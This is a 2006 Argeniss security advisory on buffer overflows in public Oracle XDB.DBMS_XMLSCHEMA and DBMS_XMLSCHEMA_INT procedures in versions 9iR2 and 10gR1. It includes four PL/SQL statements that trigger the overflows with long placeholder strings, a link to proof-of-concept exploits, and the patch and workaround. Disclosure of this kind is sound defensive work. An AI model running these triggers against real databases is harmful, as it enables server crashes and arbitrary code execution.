Argeniss Security Advisory


Name:  Oracle Database Buffer overflows
vulnerabilities in public procedures of
XDB.DBMS_XMLSCHEMA{_INT}
Affected Software:  Oracle Database Server versions
9iR2 and 10gR1
Severity:  High
Remote exploitable:  Yes (Authentication to Database
Server is needed)
Credits:  Esteban Martínez Fayó
Date:  1/26/2006
Advisory Number:  ARG010601


Details: 
Oracle Database Server provides the DBMS_XMLSCHEMA and
DBMS_XMLSCHEMA_INT Packages that include procedures to
register and delete XML schemas.
These packages contain the public procedures
GENERATESCHEMA and GENERATESCHEMAS that are vulnerable
to buffer overflow attacks.

By default XDB.DBMS_XMLSCHEMA{_INT} has EXECUTE
permission to PUBLIC so any Oracle database user can
exploit this vulnerability.
Exploitation of this vulnerability allows an attacker
to execute arbitrary code. It can also be exploited to
cause DOS (Denial of service) killing Oracle server
process. 


To reproduce the vulnerabilities execute the next
PL/SQL:


SELECT
XDB.DBMS_XMLSCHEMA.GENERATESCHEMA('LongStringHere',
'OrLongStringHere') from dual;



SELECT
XDB.DBMS_XMLSCHEMA.GENERATESCHEMAS('LongStringHere',
'OrLongStringHere') from dual;



DECLARE
  a SYS.XMLTYPE; -- return value
BEGIN
  a := XDB.DBMS_XMLSCHEMA_INT.GENERATESCHEMA
('LongStringHere', 'OrLongStringHere', '', FALSE,
FALSE, FALSE);
END;



DECLARE
 a SYS.XMLSEQUENCETYPE; -- return value
BEGIN
  a := XDB.DBMS_XMLSCHEMA_INT.GENERATESCHEMAS
('LongStringHere', 'OrLongStringHere', '', '', FALSE,
FALSE);
END;



PoC Exploits:
http://www.argeniss.com/research/OraGENERATESCHEMAExploits.txt


Vendor Status:
Vendor was contacted and a patch was released.


Workaround:
Restrict access to the XDB.DBMS_XMLSCHEMA and
XDB.DBMS_XMLSCHEMA_INT packages.


Patch Available:
Apply Oracle Critical Patch Update January 2006
available at Oracle Metalink.


Links:
http://www.argeniss.com/research/ARGENISS-ADV-010601.txt
http://www.oracle.com/technology/deploy/security/pdf/cpujan2006.html



Argeniss - Information Security
*Application Security Experts*
http://www.argeniss.com

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